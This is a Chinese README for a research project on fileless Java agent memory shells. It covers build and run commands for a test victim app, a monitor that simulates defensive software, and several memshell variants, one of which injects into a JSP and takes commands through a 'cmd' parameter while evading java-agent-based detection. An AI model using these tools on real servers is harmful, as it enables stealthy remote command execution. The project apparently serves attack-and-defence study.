不落地文件,不借助 VM.attach
而实现的 Agent
型内存马。技术细节: Agent 内存马的攻防之道。
注意:本项目仅做学习研究使用,不保证其稳定性及可靠性。本项目不应该在生产环境下使用,也不应该用于任何非法或不道德的目的。使用本项目的人应严格遵守相关的法律法规,对自己的行为负责。
测试应用,模拟受害者的 java 应用:
cd app
mvn clean package
java -cp target/app-1.0-SNAPSHOT.jar com.rzte.agentcrack.App
敏感类监控,模拟防护软件,与测试应用 app
配合测试。
export workdir=`pwd`
cd javaagent-monitor
mvn clean package
# 1. 防守模式运行目标应用
java -javaagent:${workdir}/javaagent-monitor/target/javaagent-monitor-1.0-SNAPSHOT-jar-with-dependencies.jar -cp ${workdir}/app/target/app-1.0-SNAPSHOT.jar com.rzte.agentcrack.App
# 2. 临时检测模式
java -jar ./target/javaagent-monitor-1.0-SNAPSHOT-jar-with-dependencies.jar <app_pid>
# 若找不到 VirtualMachine 可手动指定 tools.jar
java -Xbootclasspath/a:${JAVA_HOME}/lib/tools.jar -jar ./target/javaagent-monitor-1.0-SNAPSHOT-jar-with-dependencies.jar <app_pid>
简单的攻击示意,与测试应用 app
配合测试。
cd javaagent-hack
mvn clean package
java -jar javaagent.jar <target_pid> redefine/retransform
内存马示意,与测试应用 app
配合测试。
NoAgent
简单的,不落地文件,借助已有的 agent 实施攻击AgentA
不借助 agent,不落地文件,创建新的 agent 后实施攻击。目前仅适配了jdk8
。AgentB
基于AgentA
,但所使用的类,不再需要实现ClassFileTransformer
,也无需使用ClassFileTransformer.transform
方法。AgentX
基于AgentB
,但是不再会被java agent
技术所检测到或是清除掉
可在编译后,直接在 App
运行时,加载对应的“攻击类”:
java -cp ${workdir}/app/target/app-1.0-SNAPSHOT.jar:${workdir}/memshell-demo/ com.rzte.agentcrack.App AgentX
与下面的 memshell
配合,负责初始化内存马。
java -cp ${workdir}/memshell-server/target/memshell-server-1.0-SNAPSHOT-jar-with-dependencies.jar com.rzte.agentcrack.App
Usage: java -cp memshell-server.jar com.rzte.agentcrack.App <target_url>
Example:
java -cp ${workdir}/memshell-server/target/memshell-server-1.0-SNAPSHOT-jar-with-dependencies.jar com.rzte.agentcrack.App http://127.0.0.1:8080/demo/NoAgent.jsp
之后,便可以通过 cmd
参数向任意路径发送命令:
根据 memshell-demo
而实现的,相对“实际”的 jsp
内存马。由于 jsp
中修改类字节码比较复杂,这里借助 memshell-server
来修改 。
无需落地文件,借助已有的 agent 实施攻击:
无需落地文件,也不借助已有的 agent 实施攻击,且基本上无法被基于 java agent
技术而实现的防护措施所检测到(目前仅适配了 64 位的 jdk8 )。